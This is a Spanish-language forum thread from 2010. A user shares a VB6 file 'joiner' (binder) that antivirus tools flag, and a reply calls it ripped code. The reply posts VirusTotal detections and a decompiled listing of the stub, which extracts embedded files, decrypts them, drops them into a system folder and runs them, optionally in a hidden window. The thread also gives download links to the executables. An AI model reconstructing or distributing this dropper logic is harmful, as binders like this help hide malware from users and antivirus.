Test Foro de elhacker.net SMF 2.1

Hola soy nuevo en el foro , les presento uno de mis proyectos hecho en vb 6.0 ! , soy Aficionado , ya entendi todo acerca del vb , pero aún me falta , solo unas cuantas cosas , el Proyecto me Guie de algunos Manuales , que hisieron , Pero le agrege algunas cosas ... :laugh: , bueno veanlo a ver que tal , no puedo tomar foto porque mi teclado no tiene el Boton Impr Paint Petsis  :xD , Gracias!

Descarga - MultiUpload.com

http://www.multiupload.com/ZX2Y1SU10S
tal ves su AV los detecte como Maliciosos , no les culpo , mi AV avast 5 Lo detecto y prove con el nod32 , tambien ...  :-\ - Adios a todos espero Comentarios

PD.- Yo soy Unknown si no que mas me gusta el nick RedBull_  :P

.
.
.
.

Cita de: RedBull_ en  4 Octubre 2010, 21:34 PM
Hola soy nuevo en el foro , les presento uno de mis proyectos hecho en vb 6.0 ! , soy Aficionado , ya entendi todo acerca del vb , pero aún me falta , solo unas cuantas cosas , el Proyecto me Guie de algunos Manuales , que hisieron , Pero le agrege algunas cosas ... :laugh: , bueno veanlo a ver que tal , no puedo tomar foto porque mi teclado no tiene el Boton Impr Paint Petsis  :xD , Gracias!

Descarga - MultiUpload.com

http://www.multiupload.com/ZX2Y1SU10S
tal ves su AV los detecte como Maliciosos , no les culpo , mi AV avast 5 Lo detecto y prove con el nod32 , tambien ...  :-\ - Adios a todos espero Comentarios

PD.- Yo soy Unknown si no que mas me gusta el nick RedBull_  :P

.
.
y bueno... donde esta el codigo fuente... ESTE ES UN FORO DE PROGRAMACIÓN NO DE SOFTWARE

Lo subi a --->  VirusTotal   <---

http://www.virustotal.com/file-scan/report.html?id=322942f84e8218fb69448b30ccffb1f71478baa6c0307051232db067c55ac7d2-1286340610

Este es el Stup

http://www.virustotal.com/file-scan/report.html?id=f3fd6bc9707921484eb8e7435c3d6e5e22b836a55e0ca0ccd1222a952b1966dc-1261616887

[Dice claramente que fue analizado en el 2009]



File name:
Stub.dll
Submission date:
2009-12-24 02:08:07 (UTC)
Current status:
finished
Result:
36 /41 (87.8%)



Por cierto que buen RIPEo de codigo eee... DiamondBinder, SE NOTO EL ESFUERZO

Tratando de Decompilarlo un poco... no me dio el codigo en vb6 pero es entendible.



 'Data Table: 4011AC
 loc_401866: arg_8(0) = CStr(FreeFile)
 loc_4018B6: arg_8(20) = App.Path & "\" & App.EXEName & ".exe"
 loc_4018DC: Open arg_8(20) For Binary As CInt(arg_8(0)) Len = &HFF
 loc_4018F3: arg_8(4) = CStr(Space(LOF(1)))
 loc_40190D: Get CInt(arg_8(0)), 0, arg_8(4)
 loc_401916: Close CInt(arg_8(0))
             If (Len(arg_8(4)) = 0) Then '401929
 loc_401927:   End
             End If
 loc_40194E: arg_2008 = Split(arg_8(4), "//DiamondBinder//", -1, 0)
 loc_40195A: arg_8(8) = arg_2008
             If (UBound(arg_8(8), 1) > 0) Then '401BD9
               For var_D4 = 1 To CInt(UBound(arg_8(8), 1)): arg_8(28) = var_D4 'Integer
 loc_4019B8:     arg_2008 = Split(arg_8(8)(CLng(arg_8(28))), "//DiamonBinderData//", -1, 0)
 loc_4019C4:     arg_8(12) = arg_2008
                 If (UBound(arg_8(12), 1) > 0) Then '401BCF
 loc_4019EA:       arg_8(36) = arg_8(12)(1)
 loc_4019FA:       arg_8(40) = arg_8(12)(2)
 loc_401A0A:       arg_8(44) = arg_8(12)(3)
 loc_401A1A:       arg_8(48) = arg_8(12)(4)
 loc_401A2A:       arg_8(52) = arg_8(12)(5)
 loc_401A3A:       arg_8(32) = arg_8(12)(6)
                   If (arg_8(44) = "Si") Then '401A6B
 loc_401A5F:         arg_8(36) = Unknown_401814("DiamondBinder", arg_8(36))
 loc_401A68:         GoTo loc_401A75
                   End If
 loc_401A70:       arg_8(36) = arg_8(36)
 loc_401A75:       ' Referenced from: 401A68
                   If (arg_8(48) <> vbNullString) Then '401AB2
 loc_401AA9:         arg_8(16) = Environ$(CVar(Replace(arg_8(48), ", vbNullString, 1, -1, 0)))
                   End If
 loc_401AD9:       arg_8(24) = arg_8(16) & "\" & CStr(arg_8(28)) & "." & arg_8(52)
 loc_401AF8:       Open arg_8(24) For Binary As CInt(arg_8(0)) Len = &HFF
 loc_401B0D:       Put CInt(arg_8(0)), 0, arg_8(36)
 loc_401B16:       Close CInt(arg_8(0))
 loc_401B1D:       var_D8 = arg_8(32)
                   If (var_D8 = "Normal") Then '401B3B
 loc_401B32:         arg_8(32) = CStr(1)
 loc_401B38:         GoTo loc_401B89
                   End If
                   If (var_D8 = "Oculta") Then '401B56
 loc_401B4D:         arg_8(32) = CStr(0)
 loc_401B53:         GoTo loc_401B89
                   End If
                   If (var_D8 = "Minimizada") Then '401B71
 loc_401B68:         arg_8(32) = CStr(1)
 loc_401B6E:         GoTo loc_401B89
                   End If
                   If (var_D8 = "Maximizada") Then '401B89
 loc_401B83:         arg_8(32) = CStr(2)
 loc_401B89:         ' Referenced from: 401B38
 loc_401B89:         ' Referenced from: 401B53
 loc_401B89:         ' Referenced from: 401B6E
                   End If
                   If (arg_8(40) = "Si") Then '401BCF
 loc_401BBC:         ShellExecute(0, 0, arg_8(24), 0, 0, CLng(arg_8(32)))
                   End If
                 End If
               Next var_D4 'Integer
             End If
 loc_401BD9: Exit Sub



PAra evitar Ediciones del post y liogas posteriores de los ejecutables Originales he publicado los mismos en otro servidor:

http://infrangelux.sytes.net/FileX/index.php?dir=/BlackZeroX/Codigos%20Ripeados/DiamonBinder/My%20Fucking%20Joiner%20!%20by%20RedBull/Ejecutables

Dulces Lunas!¡,